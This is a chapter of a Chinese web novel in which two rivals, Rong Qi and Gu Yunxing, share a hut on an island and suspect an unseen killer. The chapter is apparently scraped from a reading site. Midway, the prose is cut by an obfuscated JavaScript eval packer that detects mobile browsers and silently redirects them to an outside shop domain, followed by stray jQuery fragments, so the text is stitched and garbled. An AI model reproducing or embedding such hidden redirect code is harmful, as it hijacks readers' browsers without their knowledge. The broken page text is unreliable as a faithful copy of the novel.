两人暂时对岛上的“第三人”没有头绪,也无从得知究竟是什么造成了那般血腥的画面。
这座看似宁静的小岛,似乎远没有预想中那般简单。
两人各怀心事,容欺率先回了屋。屋内视线昏暗,好在他已经非常熟悉了,闭上眼摸索过去,就贴着石壁内侧躺了下来。
也不知道是不是因为多了一个“人”的缘故,他总觉得心中难安,辗转反侧几下后,便往外挪了挪。
屋外,顾云行又坐了许久,直到天幕漆黑大风呼啸,这才熄了火堆,弯腰步入。他目力极佳,一眼就望见了蜷在角落里的人——容欺正阖紧了双目,手脚摆放俱是妥帖,像是睡熟了。
顾云行叹了口气,想到这人糟糕的睡姿,就知道现在他还醒着。
不仅如此,对方还破天荒地睡在了他的位置。
“容右使。”顾云行立在“床”前,轻轻唤了一声。
那占着外侧位置的人却连眼皮都不睁一下。
顾云行只好道:“右使大人想睡外侧,总得让我先进去吧。”
容欺睁开眼,入目是一片漆黑,只隐约感到身前的阴影似乎更暗些,应当就是顾云行了。于是他侧过身,让出一些距离,足够顾云行爬进去。
顾云行盯着那留出的空当许久,叹气:“右使非要如此,我也只好冒犯了。”
冒犯?什么意思?
正这么想着,就感觉肩膀处搭上了一只手掌,掌心似乎仍带着残留的篝火余热,隔着单薄的衣物传来。
容欺警惕道:“做什么?”
他看不清顾云行的神色,只听到黑暗中对方轻笑了一声。
再然后——
肩膀被人托起,膝弯处伸过来一只手……
容欺:“……”
——整个人被抬了起来。
顾云行并未使多大的力气,将人往内侧挪了挪便重新安放下来,自己则熟门熟路地躺在了外侧。
容欺不可置信地抵着石壁,半晌才反应过来,顿时恼羞成怒:“顾云行,凭什么我就非得挤在里面!”
“顾某不才,除了武功好些,心肠也不坏。要是遇到危险,定会提醒右使一声。”顾云行轻飘飘一句话在耳边响起,“换作右使……顾某实在是生怕再次被你抛弃,不得已才出此下策。”
“你倒是了解我。”短短几个字,他说得咬牙切齿。
顾云行没有说的是:以这魔头的睡相,若无自己兜着,怕是要滚进泥地里去,但他知趣地没提,只是道:“这岛不大,即便有异样也迟早会显露端倪。容右使若是为此心忧,那我们明日继续查探就是了。”
“还用你说!”容欺冷笑道,“万一真有什么人藏身暗处趁我们不备动手,那顾门主可一定要顾好了。”
“放心吧,你我共患难数月,冲着这份交情,顾某必定与右使你携手御敌,共同进退。”
好一句“携手御敌,共同进退”,容欺忍不住翻了个白眼,“如果真是方氏兄妹呢?他们落难后兴许有什么奇遇,武功精进也尤未可知。”
顾云行皱眉:“怎么又提起他们?”
“被杀的是我离火宫的弟子,未必不是方敛他们动的手。”容欺阴阳怪气道:“就怕顾门主见了故友和佳人,转头就要弃我而去了!”
顾云行没忍住,伸手拨过这魔头的脑袋,让他正对着自己。
“右使大人多虑了。”
容欺不满地拂开手,十分恼怒——天极门都是这么无礼的吗?怎么这个顾云行总是对他动手动脚!
顾云行:“再不出手,你就要撞上石壁了。”
容欺:“……不用你假好心。”若真是好心对他,又怎么会把他抬进里侧?他也就不会被挤到石壁上去了!
“我实在想不出,是什么人能弄出这样的拖曳行迹?”顾云行忽然开口再次说起了白日里的事,“那片衣角落在树梢,双方必定在树上交过手,看血迹,应是有人遇难,可我们为何找不到尸体?”
容欺道:“……也许两人交手,一方身亡,而后引来了野兽,野兽将尸体拖走充作口粮。”
这般推测并非没有可能。
顾云行:“但我们并没有在附近找到野兽足印。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13567042|140817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
前几日下过雨,也许足印已经在这场暴雨中消失了,但是他们穿梭林间数次,一次都没有撞见野兽。
容欺皱眉:“我总有一种不好的预感。”从小到大,这样的预感帮他躲过了多次危机。他又说道:“无论岛上是有野兽还是有其他人,躲在暗处,总归不怀好意。”
顾云行道:“你若担心,今晚我来守夜。”
容欺一愣,顾云行要给他守夜?
顾云行见他怀疑的神色,叹气道:“容右使,如今你还戒备着我,不肯将我视作同伴吗?”
“同伴?”他好笑地重复了一遍“同伴”两字,道:“说的动听,你又何曾真的将我当作过同伴?”方敛身死,他便是害人的元凶,顾云行与他不共戴天;方敛幸存,他便是多余可弃的那个,顾云行更不可能再带着他一起。
无论方敛是生是死,他和顾云行注定要分道扬镳,更做不成“同伴”。
屋内静了几息。
正当顾云行也准备阖目休息时,容欺突然碰了碰他的胳膊。
顾云行侧过头,对上一双虽无焦距但格外精神的眼睛。
容欺道:“顾云行,我忽然又想到一种可能。”
顾云行便静等着他说下去:“嗯?”
容欺没有立即开口,似乎是在犹豫。
顾云行被勾出几分好奇:“怎么了?”
容欺道:“是不是你背着本座偷偷去截杀了我的手下?”
顾云行面无表情地注视着他,片刻后点头:“是,趁你夜间熟睡的时候,冒着刺骨寒风,摸黑行得凶。”
容欺:“……”
顾云行摸摸他的脑袋:“睡吧。”
容欺缩了缩脑袋,低声嘟囔了句:“你最好不是。”
没过多久,身侧之人的呼吸逐渐平缓,终于睡着了。
屋外寒风呼啸,唯余毯中的方寸之地隔绝了寒冷,存住一片暖意。
顾云行靠近了熟睡的人,伸手轻搭在对方耳边,借着微不可见的月色细细端详了一会儿——藏起了毒牙的蛇,捂久了似乎也会染上人的体温。